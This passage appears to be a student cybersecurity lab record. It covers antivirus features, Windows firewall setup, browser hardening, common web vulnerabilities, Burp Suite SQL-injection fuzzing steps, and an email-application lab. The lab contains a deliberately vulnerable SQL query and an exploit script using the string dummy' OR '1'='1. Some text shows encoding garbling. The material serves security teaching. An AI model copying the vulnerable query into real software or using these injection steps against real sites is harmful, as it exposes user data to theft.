more defenses than built-in Windows firewall. Macs are also protected with Norton’s firewall, 
which acts like a traffic cop and monitors both incoming and outgoing internet traffic to prevent 
cyber threats from reaching your computer. Working together with an Intrusion Prevention System 
(IPS), this technology: 

Creates a shield that either allows or blocks attempts to access the information on your computer.

 
Warns you of connection attempts from other computers. 
Warns you of connection attempts by the applications on your computer that connect to other 
computers. 
Blocks your data (passwords, keystrokes, files, tax returns, etc.) from being taken by an outside 
source. 
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Blocks unauthorized users from accessing your computers through the internet. 
 
Password manager to generate and store complex passwords 
A password manager can enable you to store your online account usernames and passwords in a 
single, secure place. This helps you create unique and complex passwords without having to 
remember all of them. Weak and reused passwords are often the only thing that stands between 
cybercriminals and your personal and financial information. 
For added security, Norton Password Manager enables you to automatically create and use 
complex, unique passwords for all your different account login credentials without the difficulty 
of remembering all of them. And it syncs passwords across devices, between your iOS and Android 
mobile devices and your PC. So whenever you transact online, simply select the account you want 
to log in to and Norton Password Manager will auto-fill your login information with one click, 
safely and securely. 
 
Secure VPN for online privacy 
When you’re connected to the internet, your online activity data gets sent and received over the 
network you’re using. If you use public Wi-Fi, your connection to the internet may not be as 
private as you think. A virtual private network (VPN) helps give you privacy by encrypting the 
information you send and receive when using a public or shared Wi-Fi across your devices. 
On public Wi-Fi or shared Wi-Fi networks, imagine everything you do is written on a postcard, 
where anyone who handles that postcard can read what it says. Everyone using the free Wi-Fi 
hotspot could possibly encounter your postcard and read it. 
 
Dark web monitoring 
The dark web is a guarded subspace of the deep web, hosting encrypted websites for its users. 
People like to use this encrypted space to help protect their identity and online privacy, but some 
hackers like to use these features to carry out illegal activities. 
Data breaches can occur more often than what is reported in the news and not just to big-name 
companies. Dark Web Monitoring monitors the dark web for your information and notifies you if 
it’s found, so you can act. 
 

  Dark Web Monitoring actively seeks out signs of data breaches so you can take swift 
action to help secure your accounts and prevent your personal information from being 
exploited. 

 provides a dynamic approach to fraud and identity protection by actively seeking out 
compromised information, helping you stay one step ahead of hackers and cybercrooks. 

 Your email address is just the start. Near-constant Dark Web Monitoring scans can detect 
a wide range of personal data, including phone numbers, credit card numbers, and gamer 
tags. 
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  notifies you when your data is discovered, allowing you to respond quickly to security 
breaches, helping to minimize their impact. 

 
Other Features of Norton Mobile Security App 

 PC game optimizer (GO) 
helps boost gaming PCs performance to the maximum. It automatically detects 
games and feeds them maximum power, helps eliminate FPS lags and slowdowns 
from other apps to help smooth visuals, frees your PC from power-hungry programs 
running in the background that can eat up your systems resources, and optimizes 
gaming-related programs. 

 Stolen Wallet Protection 
A stolen wallet could lead to a stolen identity. If your wallet is stolen, you can call 
us and we’ll help cancel or replace credit cards, driver’s licenses, Social Security 
cards, insurance cards and more, if you choose a Norton 360 plan with Stolen Wallet 
Protection. 

 

 Credit monitoring + fraud alerts 
 There are three major national credit bureaus: Experian, Equifax, and TransUnion. 

Each of these credit bureaus maintains separate credit reports that contain your full 
name, current and previous addresses, and Social Security number. They also contain 
important information like your open credit card accounts, loans, late and missed 
payments, bankruptcy filings, foreclosures, and collections. When you apply for a loan 
or credit card, lenders and financial institutions check your credit history from these 
reports. 

 Because reporting methods differ by each credit bureau, it is common to have different 
credit scores across all three bureaus even though they collect the same type of 
information. 

 Monitoring changes to your credit files are a critically important dimension to monitor 
to help protect against identity theft. Credit monitoring services3 can watch your credit 
reports for any new activity and then alert you to it. This allows you to find fraudulent 
activity more quickly. 

 Anti-Phishing & Exploit Protection: Anti-phishing analyzes the security level of 
websites you visit and blocks websites that are known to be fraudulent. Proactive Exploit 
Protection (PEP) helps protect Windows™ PCs against 'zero-day' attacks that exploit 
vulnerabilities in applications or the operating system. 
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 Cryptojacking and Tech Support Scam Protection analyzes incoming data and helps block 
potential online threats before they hit your computer. 

 Device Security: Real-time protection for 3 devices against ransomware, viruses, spyware, 
malware and other online threats. 

 Virus Protection Promise5: Our experts are available to help keep your devices virus-free, 
and if not, you will get your money back. 

 Tech Support: 24/7 support is included with your Norton 360 for Gamers membership. 
 

 
 
 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RESULT: 

Thus different components of wireless network and features of Norton Mobile Security App has 
been studied . 
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EX.NO:6 STUDY OF THE FEATURES OF FIREWALL IN PROVIDING NETWORK SECURITY   
DATE:                            AND TO SET FIREWALL SECURITY IN WINDOWS  
  

AIM: 

            To examine the features of a firewall in providing network security and to configure 
firewall security settings in Windows. 

FIREWALL: 

            A firewall is a hardware or software solution designed to protect a private computer or 
network from unauthorized access. It functions as a filter, preventing unauthorized users from 
accessing computers and networks, making it a crucial component of network security. Acting as 
the first line of defense, a firewall inspects and filters network traffic, blocking malware and 
preventing unauthorized access to the user's system or network. 

FEATURES OF A FIREWALL IN PROVIDING NETWORK SECURITY: 

1. Physical Barrier: A firewall blocks external traffic from entering a system or network 
without authorization. It acts as a choke point, scrutinizing all incoming data and can easily 
block unwanted access. 

2. Multi-Purpose: Besides security, a firewall offers additional functions such as configuring 
domain names, managing Internet Protocol (IP) addresses, and functioning as a network 
address translator. It can also monitor internet usage. 

3. Flexible Security Policies: Firewalls can be customized to meet the specific security needs 
of individual systems or networks. Security policies can be modified based on the user’s 
requirements. 

4. Security Platform: A firewall provides a centralized platform for monitoring security 
alerts and addressing any security issues. It allows users to manage and resolve security-
related queries from one location. 

5. Access Handler: A firewall can prioritize network traffic, ensuring that important data 
flows first. It can also allow specific actions or requests to pass through according to a 
network or system’s requirements. 

CONFIGURING FIREWALL SECURITY IN WINDOWS: 

            Windows Defender Firewall helps protect your PC by preventing unauthorized access from 
hackers and malicious software through the internet or a network. In some cases, your organization 
may require it to be enabled before accessing their network resources. 

STEPS TO ENABLE WINDOWS DEFENDER FIREWALL: 

1. Open the Start menu and navigate to the Control Panel. 
2. Select System and Security > Windows Defender Firewall. 
3. Click on Turn Windows Firewall on or off. 
4. Choose Turn on Windows Firewall for domain, private, and public network settings. 
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OUTPUT SCREENSHOTS: 
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RESULT:  

The features of firewall in providing network security is studied and firewall security in 
windows is set.  
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EX NO: 7              STEPS TO ENSURE SECURITY OF ANY ONE WEB BROWSER 

DATE:                      

  

 

AIM:  

To provide the steps to ensure security of the web browsers Google Chrome and Mozilla Firefox. 

 

SECURITY MEASURES IN GOOGLE CHROME: 

Key steps to secure your browser:  

 Keep your browser updated: Regularly check for and install updates to patch security 
vulnerabilities.  

 Enable HTTPS-only mode: Set your browser to prioritize secure connections (HTTPS) 
by default.  
Manage privacy settings:  

 Cookies and tracking: Adjust settings to block third-party cookies and limit tracking by 
websites.  

 Location services: Only allow access to location when necessary.  
 Notifications: Manage which websites can send you notifications.  

Use strong passwords:  
 Create unique, complex passwords for each website and use a password manager to store 

them securely.  
Install reputable security extensions:  
Consider adding extensions like ad-blockers, malware protection, and phishing detectors.  

 Be cautious with downloads:  
 Only download files from trusted sources and carefully review file extensions before 

opening.  
 Check website authenticity:  
 Look for the "HTTPS" padlock in the address bar before entering sensitive information.  
 Never click suspicious links in emails or on websites, and double-check the URL before 

entering login details.  
 Consider a VPN:  
 A Virtual Private Network (VPN) can encrypt your internet traffic and protect your 

privacy when browsing public Wi-Fi networks.  
 Specific settings to check in Firefox and Chrome:  
 Firefox:  
 Enhanced Tracking Protection: Enable to block third-party trackers  
 Privacy settings: Adjust cookie and site data settings to your preference  
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Fig 1:To setup HTTPS-First mode 

 

Fig 2:Secured connection setup -IP addresses 
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Fig 3:Safety check on Android Device 

 

SECURITY MEASURES IN MOZILLA FIREFOX: 

Phishing and malware protection:  

These features will warn you when a page you visit has been reported as a Deceptive Site 
(sometimes called “phishing” pages), as a source of Unwanted Software or as an Attack Site 
designed to harm your computer (otherwise known as “malware”) 

 

Fig 4:Privacy and Security check 
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FIREFOX MONITOR: 

Firefox Monitor warns you if your online accounts were involved in a known  
data breach. It also empowers users to fight against data breaches by alerting them when they  
visit a previously breached website. 
 

 

Fig 5:Firefox Login 

 

Fig 6:Data Breaches possible online accounts 
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HTTPS-Only mode:  

This security-enhancing mode forces all connections to websites to use a secure encrypted 
connection called HTTPS. 

 

Fig 7:Enable HTTPs only mode 

 

 

 

 

 

 

 

 

RESULT:  

The steps to ensure security of Google Chrome and Mozilla Firefox is provided 
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AD18712 CYBER SECURITY LABORATORY 

EX NO:  8   STUDY OF DIFFERENT TYPES OF VULNERABILITIES FOR    

       HACKING A WEBSITE / WEB APPLICATION 

DATE: 

 

 

AIM: 

To analyze the security vulnerabiliƟes present in e-commerce services and explore 
methods to miƟgate these vulnerabiliƟes, ensuring a safe and secure online transacƟon 
environment for users and businesses. 

 

CASE STUDY: 

          

Overview of E-commerce Security 

 

E-commerce plaƞorms are widely used for online shopping, offering convenience and a variety of 
products. However, they are prime targets for cybercriminals due to the sensiƟve data they 
handle, including personal and payment informaƟon. 

 

 Common Security VulnerabiliƟes 

 

1. SQL InjecƟon (SQLi):  

 ExplanaƟon: AƩackers inject malicious SQL statements to exploit and gain access to the 
database. 

 Impact: This vulnerability can expose customer data, such as usernames, passwords, and 
payment details. 
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2. Cross-Site ScripƟng (XSS):  

 ExplanaƟon: AƩackers inject scripts into web applicaƟons, which run in the user's 
browser, allowing data theŌ and other malicious acƟviƟes. 

 Impact: XSS can lead to session hijacking, defacement, and unauthorized acƟons on behalf 
of the user. 

    

3. Cross-Site Request Forgery (CSRF):  

 ExplanaƟon: CSRF tricks authenƟcated users into execuƟng unwanted acƟons, such as 
changing login details or iniƟaƟng transacƟons, without their consent. 

 Impact: CSRF aƩacks can result in unauthorized acƟons that affect both users and e-
commerce services. 

    

4. Weak AuthenƟcaƟon and Session Management:  

 ExplanaƟon: Poor password policies or insecure session handling can lead to account 
takeovers and unauthorized access. 

 Impact: AƩackers can gain unauthorized access to accounts, risking data breaches and 
financial loss.  
   

5. Unsecured Payment Processing:  

 ExplanaƟon: Inadequate encrypƟon during payment transacƟons exposes financial 
details to intercepƟon and fraud. 

 Impact: Customers' financial informaƟon may be stolen, leading to fraud and idenƟty 
theŌ. 

    

6. Poor API Security:  

 ExplanaƟon: APIs facilitate interacƟons between applicaƟons, and inadequate security 
can expose e-commerce plaƞorms to unauthorized data access. 

 Impact: AƩackers may gain unauthorized access to data through poorly secured APIs. 
 

7.SensiƟve Data Exposure 

 ExplanaƟon: Insufficient protecƟon of sensiƟve data, like storing passwords or payment 
details without encrypƟon, can lead to leaks. 

 Impact: Exposes personal data to unauthorized users, leading to idenƟty theŌ or fraud. 
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8.Directory Traversal 

 ExplanaƟon: This vulnerability lets aƩackers navigate through a web server’s directories 
to access unauthorized files. 

 Impact: Allows aƩackers to retrieve sensiƟve files, such as configuraƟon files, user 
credenƟals, or source code. 
 

9.Brute Force AƩacks 

 ExplanaƟon: AƩackers use automated tools to guess passwords or API keys through 
repeƟƟve aƩempts. 

 Impact: Successful brute force aƩacks can lead to account takeovers, unauthorized access, 
and data exposure. 
 

10.Insecure File Uploads 

 ExplanaƟon: Allowing users to upload files without proper validaƟon can let aƩackers 
upload malicious files, such as scripts or malware. 

 Impact: Malicious file uploads may lead to server compromise, unauthorized access, or 
data corrupƟon. 
 

11.Security MisconfiguraƟon 

 ExplanaƟon: Lack of secure default configuraƟons or improper seƫngs can expose the 
plaƞorm to various aƩacks. 

 Impact: Weak configuraƟons make it easy for aƩackers to gain unauthorized access or 
exploit other vulnerabiliƟes. 
 

12.Insufficient Logging and Monitoring 

 ExplanaƟon: Failure to log user acƟviƟes or monitor suspicious acƟons limits the ability 
to detect and respond to aƩacks. 

 Impact: AƩackers can exploit vulnerabiliƟes undetected, leading to prolonged breaches 
and data theŌ. 
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13.Broken Access Control 

 ExplanaƟon: Poor access control mechanisms allow unauthorized users to access 
restricted resources. 

 Impact: AƩackers can exploit weak access control to view, modify, or delete sensiƟve data. 
 

14.Lack of Rate LimiƟng 

 ExplanaƟon: Without rate limiƟng, aƩackers can perform acƟons at a high frequency, such 
as brute-forcing credenƟals or sending spam. 

 Impact: Leads to resource exhausƟon, downƟme, and potenƟal unauthorized access. 
 

15.Insufficient Transport Layer ProtecƟon 

 ExplanaƟon: Insecure transport protocols (e.g., HTTP instead of HTTPS) expose data 
during transmission. 

 Impact: Man-in-the-middle aƩacks become possible, allowing intercepƟon of sensiƟve 
data like passwords and payment details. 

 

 

 

 

 

CONCLUSION : 
The idenƟfied vulnerabiliƟes in e-commerce services can result in significant risks, including 

data breaches, unauthorized access, and financial losses. To strengthen the security of these 

plaƞorms, miƟgaƟon measures such as input validaƟon, secure session handling, strong 

password policies, and encrypted transacƟons are essenƟal. A proacƟve approach to security 

can ensure a safer online shopping environment for both users and businesses. 
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AD18712 CYBER SECURITY LABORATORY 

EX NO:  9   ANALYSIS OF SECURITY VULNERABILITIES IN E-COMMERCE    

    SERVICES 

DATE: 

 

 

AIM: 

 

To analyze the security vulnerabiliƟes present in e-commerce services and explore 
methods to miƟgate these vulnerabiliƟes, ensuring a safe and secure online transacƟon 
environment for users and businesses. 

 

CASE STUDY: 

          

Overview of E-commerce Security 

 

E-commerce plaƞorms are popular for online shopping, offering users convenience and a variety 
of products. However, these plaƞorms are also prime targets for cyber criminals due to the 
sensiƟve data they handle, including personal and payment informaƟon. 
 

 

 Common Security VulnerabiliƟes 

 

1. SQL InjecƟon (SQLi): AƩackers inject malicious SQL statements to exploit and gain access to 
the database. This vulnerability can expose customer data, such as usernames, passwords, and 
payment details. 
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2. Cross-Site ScripƟng (XSS): AƩackers inject scripts into web applicaƟons, which can run in the 
browser of a user, allowing data theŌ and other harmful acƟviƟes. 

    

3. Cross-Site Request Forgery (CSRF): This aƩack tricks authenƟcated users into execuƟng 
unwanted acƟons, like changing login details or iniƟaƟng transacƟons, without their consent. 

    

4. Weak AuthenƟcaƟon and Session Management: Poor password policies or insecure session 
handling can lead to account takeovers and unauthorized access. 

    

5. Unsecured Payment Processing: Inadequate encrypƟon during payment transacƟons exposes 
financial details to intercepƟon and fraud. 

    

6. Poor API Security: As APIs facilitate interacƟons between applicaƟons, inadequate API security 
can expose e-commerce plaƞorms to unauthorized data access. 

 

  

 

 

 

 

 

 PRACTICAL IMPLEMENTATION: 

 

Here are some pracƟcal steps to analyze and test the security vulnerabiliƟes of e-commerce 
services. 

 

 Tools Required 

- Burp Suite or OWASP ZAP: For tesƟng vulnerabiliƟes such as SQL injecƟon and XSS. 
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- Nmap: To scan open ports and detect vulnerable services. 

- Nikto: For web server scanning to idenƟfy misconfiguraƟons or exposed files. 

- Metasploit Framework: For simulaƟng exploits and understanding how aƩackers could 
potenƟally breach the system. 

 

SQL injection vulnerabilities occur when an attacker can interfere with the queries that an 

application makes to its database. You can use Burp to test for these vulnerabilities: 

 Professional Use Burp Scanner to automaƟcally flag potenƟal SQL injecƟon 
vulnerabiliƟes. 

 Use Burp Intruder to insert a list of SQL fuzz strings into a request. This may enable you 
to change the way SQL commands are executed. 

STEPS : 

SCANNING FOR SQL INJECTION VULNERABILITIES : 

 

If you're using Burp Suite Professional, you can use Burp Scanner to test for SQL injection 

vulnerabilities: 

1. IdenƟfy a request that you want to invesƟgate. 
2. In Proxy > HTTP history, right-click the request and select Do acƟve scan. Burp Scanner 

audits the applicaƟon. 
3. Review the Issues list on the Dashboard to idenƟfy any SQL injecƟon issues that Burp 

Scanner flags. 
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MANUALLY FUZZING FOR SQL INJECTION VULNERABILITIES : 

 

You can alternatively use Burp Intruder to test for SQL injection vulnerabilities. This process 

also enables you to closely investigate any issues that Burp Scanner has identified: 

1. IdenƟfy a request that you want to invesƟgate. 
2. In the request, highlight the parameter that you want to test and select Send to 

Intruder. 
3. Go to Intruder. NoƟce that the parameter has been automaƟcally marked as a payload 

posiƟon. 

4. In the Payloads side panel, under Payload configuration, add a list of SQL fuzz strings. 

1. If you're using Burp Suite Professional, open the Add from list drop-down menu 
and select the built-in Fuzzing - SQL wordlist. 

2. If you're using Burp Suite Community EdiƟon, manually add a list. 

5. Under Payload processing, click Add. Configure payload processing rules to replace 

any list placeholders with an appropriate value. You need to do this if you're using the 

built-in wordlist: 

 

1.To replace the {base} placeholder, select Replace placeholder with base value. 

2.To replace other placeholders, select Match/Replace, then specify the placeholder 

and replacement. For example, replace {domain} with the domain name of the site you're testing 

. 

The image part with relationship ID  
rId9 was not found in the file.

The image part with relationship ID  
rId9 was not found in the file.
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6. Click  Start aƩack. The aƩack starts running in a new dialog. Intruder sends a request 
for each SQL fuzz string on the list. 

7. When the attack is finished, study the responses to look for any noteworthy behavior. For 

example, look for: 

 Responses that include addiƟonal data as a result of the query. 
 Responses that include other differences due to the query, such as a "welcome back" 

message or error message. 
 Responses that had a Ɵme delay due to the query. 

 

 

 

 

 

 

 

 

CONCLUSION : 

The above tests can reveal critical vulnerabilities in e-commerce services. Addressing these 
vulnerabilities through measures like input validation, secure session handling, strong password 
policies, and encrypted transactions can significantly improve the security of an e-commerce 
platform. 
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AD18712 CYBER SECURITY LABORATORY 

EX NO:  10   ANALYSIS OF SECURITY VULNERABILITIES IN AN EMAIL    

         APPLICATION 

DATE: 

 

 

AIM: 

 

To simulate and analyze the security vulnerabiliƟes in an email applicaƟon, focusing on 
SQL injecƟon, data handling, and communicaƟon protocols, using a custom SMTP server and 
email client scripts 

 

CASE STUDY: 

          

Overview of Email ApplicaƟon VulnerabiliƟes 

 

Email applicaƟons are oŌen targeted for sensiƟve data breaches. Some of the common 
vulnerabiliƟes include SQL injecƟon, inadequate input validaƟon, and insecure communicaƟon 
protocols. This exercise demonstrates these vulnerabiliƟes through the setup of a custom SMTP 
server that stores emails in a SQLite database, and a client script to send and retrieve emails, 
potenƟally exploiƟng SQL injecƟon flaws. 

 

PRACTICAL IMPLEMENTATION: 

 

Requirements 

1.standard-asynchat==3.13.0 
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2.standard-asyncore==3.13.0 

3.standard-smtpd==3.13.0 

 

These modules are used for creaƟng an asynchronous SMTP server and handling email 

communicaƟons. 

 

SMTP Server Setup (smtp_server.py): 

 The script sets up a custom SMTP server to receive emails and store them in a SQLite 

database (emails.db). It also iniƟalizes the database if it doesn't already exist. 

Vulnerability: The query_emails funcƟon uses a non-parameterized SQL query to fetch emails by 

recipient, making it vulnerable to SQL injecƟon aƩacks. 

 

 Email Sending Script (send_email.py): 

  This script sends an email from a specified sender to a recipient using the local SMTP 

server (running on localhost:1025). It takes inputs for sender, recipient, subject, and body of the 

email. 

PotenƟal Improvement: Input validaƟon should be added to saniƟze the email inputs to prevent 

injecƟon aƩacks at the client level as well. 

 

Exploit Script (exploit_client.py): 

This script demonstrates an SQL injecƟon aƩack by exploiƟng the vulnerability in the 

query_emails method in the SMTP server. It connects to the SQLite database directly and uses 

an injected SQL query to retrieve all emails. 
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Vulnerability ExploitaƟon:  

The script craŌs an SQL injecƟon input (dummy' OR '1'='1) to retrieve all emails from the 

database, showing how a malicious actor could potenƟally access sensiƟve email data. 

 

1. SMTP Server (smtp_server.py) 

# smtp_server.py 

import smtpd 

import asyncore 

import sqlite3 

# IniƟalize the SQLite database 

def init_db(): 

    conn = sqlite3.connect("emails.db") 

    cursor = conn.cursor() 

    cursor.execute(''' 

        CREATE TABLE IF NOT EXISTS emails ( 

            id INTEGER PRIMARY KEY AUTOINCREMENT, 

            sender TEXT, 

            recipient TEXT, 

            subject TEXT, 

            message TEXT 

        ) 

    ''') 
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    conn.commit() 

    conn.close() 

 

class CustomSMTPServer(smtpd.SMTPServer): 

    def __init__(self, *args, **kwargs): 

        super().__init__(*args, **kwargs) 

        init_db() 

 

    def process_message(self, peer, mailfrom, rcpƩos, data, **kwargs): 

        print(f"Received email from {mailfrom} to {rcpƩos}") 

         

        # Decode data from bytes to string 

        data = data.decode("uƞ-8") 

         

        # Parse email message 

        headers, _, body = data.parƟƟon('\n\n') 

        subject = "No Subject" 

         

        # Extract subject from headers if present 

        for line in headers.splitlines(): 

            if line.startswith("Subject:"): 

                subject = line.split(":", 1)[1].strip() 
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                break 

         

        # Store email in the database 

        conn = sqlite3.connect("emails.db") 

        cursor = conn.cursor() 

        cursor.execute("INSERT INTO emails (sender, recipient, subject, message) VALUES (?, ?, ?, 

?)",  

                       (mailfrom, rcpƩos[0], subject, body)) 

        conn.commit() 

        conn.close() 

        print("Email stored in the database.\n") 

 

    def query_emails(self, recipient): 

        # Vulnerable SQL query - not using parameterized query, allowing SQL injecƟon 

        conn = sqlite3.connect("emails.db") 

        cursor = conn.cursor() 

        query = f"SELECT * FROM emails WHERE recipient = '{recipient}'" 

        cursor.execute(query) 

        emails = cursor.fetchall() 

        conn.close() 

        return emails 
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# Start the SMTP server 

if __name__ == "__main__": 

    server = CustomSMTPServer(('localhost', 1025), None) 

    print("SMTP server started on localhost:1025") 

    asyncore.loop() 

 

2. Email Sending Client (send_email.py) 

# send_email.py 

import smtplib 

from email.message import EmailMessage 

 

def send_email(sender, recipient, subject, body): 

    # Create the email message 

    msg = EmailMessage() 

    msg['From'] = sender 

    msg['To'] = recipient 

    msg['Subject'] = subject 

    msg.set_content(body) 

 

    # Connect to the SMTP server running on localhost 

    try: 

        with smtplib.SMTP('localhost', 1025) as smtp: 
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            smtp.send_message(msg) 

            print(f"Email sent from {sender} to {recipient}") 

    except ExcepƟon as e: 

        print(f"Failed to send email: {e}") 

 

if __name__ == "__main__": 

    # Customize email details here 

    sender_email = input("Enter Sender E-mail: ") 

    recipient_email = input("Enter Recipient E-mail: ") 

    subject = input("Enter Subject: ") 

    body = input("Enter Message: ") 

 

    # Send the email 

    send_email(sender_email, recipient_email, subject, body) 

 

 

3. ExploitaƟon Script (exploit_client.py): 

# exploit_client.py 

import sqlite3 

 

def exploit_vulnerability(): 

    # Connect to the server's database directly 
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    conn = sqlite3.connect("emails.db") 

    cursor = conn.cursor() 

 

    # CraŌ an SQL injecƟon input to retrieve all emails 

    injected_query = "dummy' OR '1'='1" 

     

    print("ExploiƟng SQL InjecƟon vulnerability to fetch all emails...") 

    cursor.execute(f"SELECT * FROM emails WHERE recipient = '{injected_query}'") 

     

    # Fetch all emails in the database 

    emails = cursor.fetchall() 

    conn.close() 

 

    # Display fetched emails 

    if emails: 

        print("Fetched Emails:") 

        for email in emails: 

            print(f"\nID: {email[0]}") 

            print(f"Sender: {email[1]}") 

            print(f"Recipient: {email[2]}") 

            print(f"Subject: {email[3]}") 

            print(f"Message: {email[4]}") 
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    else: 

        print("No emails found.") 

 

if __name__ == "__main__": 

    exploit_vulnerability() 

 

 

 

OUTPUT : 

 

 

 

The image part with relationship ID  
rId9 was not found in the file.
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CONCLUSION: 

The provided setup and exploit scripts effecƟvely demonstrate common vulnerabiliƟes in 
an email applicaƟon, parƟcularly SQL injecƟon. By fixing these vulnerabiliƟes through 
parameterized queries and input validaƟon, we can significantly enhance the security of the 
email applicaƟon and safeguard sensiƟve data from potenƟal aƩackers. 


